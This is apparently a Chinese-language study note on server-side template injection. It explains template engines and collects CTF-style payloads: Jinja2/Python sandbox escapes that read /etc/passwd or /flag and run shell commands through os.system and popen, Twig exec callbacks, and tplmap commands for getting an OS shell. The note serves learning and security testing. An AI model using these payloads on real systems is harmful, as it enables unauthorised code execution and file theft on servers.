2021-11-05-模板注入

模板注入

模板注入的概念

模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个HTML代码。

通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

示例1:定义一个模板,例如


  
{$what}

这只是一个模板。{$what}是数据。此时不知道数据是什么。

如果我想html里面成为

peiqi

渲染到html代码里,渲染完成后


 
peiqi
模板引擎

模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,注意不同的语言对应的模板:

a.png
解题步骤
  • 先判断漏洞点:关注参数位置

  • 判断模板引擎,根据下面的图测试一下

  • 找对应的payload

b.png

python2_任意执行

  1. 获取基类
  ''.__class__.__mro__[-1]
  {}.__class__.__base__
  ().__class__.__base__
  [].__class__.__base__
  1. 获取基类的子类
[].__class__.__base__.__subclasses__()

从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用

  1. 利用子类

    我们可以利用的方法有等。(甚至file一般是第40号)

 #存在的子模块可以通过 .index()方式来查询
 ''.__class__.__mro__[2].__subclasses__().index(file)
 
 # 用file模块来查询
 [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

可以直接调用system函数,有了shell其他的问题不就解决了吗?

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。

 #读取本级目录
 ().__class__.__base__.__subclasses__()      [71].__init__.__globals__['os'].listdir('.')  

另外在某些不得已的情况下可以使用以下方式来读取文件。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    

SSTI

# 常用payload集合
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

Twig

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
Tqlmap

Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。适用于有参数的注入

python tplmap.py -u http://xxxx/*     (无参数)
python tplmap.py -u http://xxxx?name=1 (有参数)

python tplmap.py -u url --os-shell   (获取shell)

参考资料

https://www.cnblogs.com/wuhongbin/p/14281708.html

https://www.jianshu.com/p/1f80e6561049

https://blog.csdn.net/qq_43431158/article/details/105322894

你可能感兴趣的:(2021-11-05-模板注入)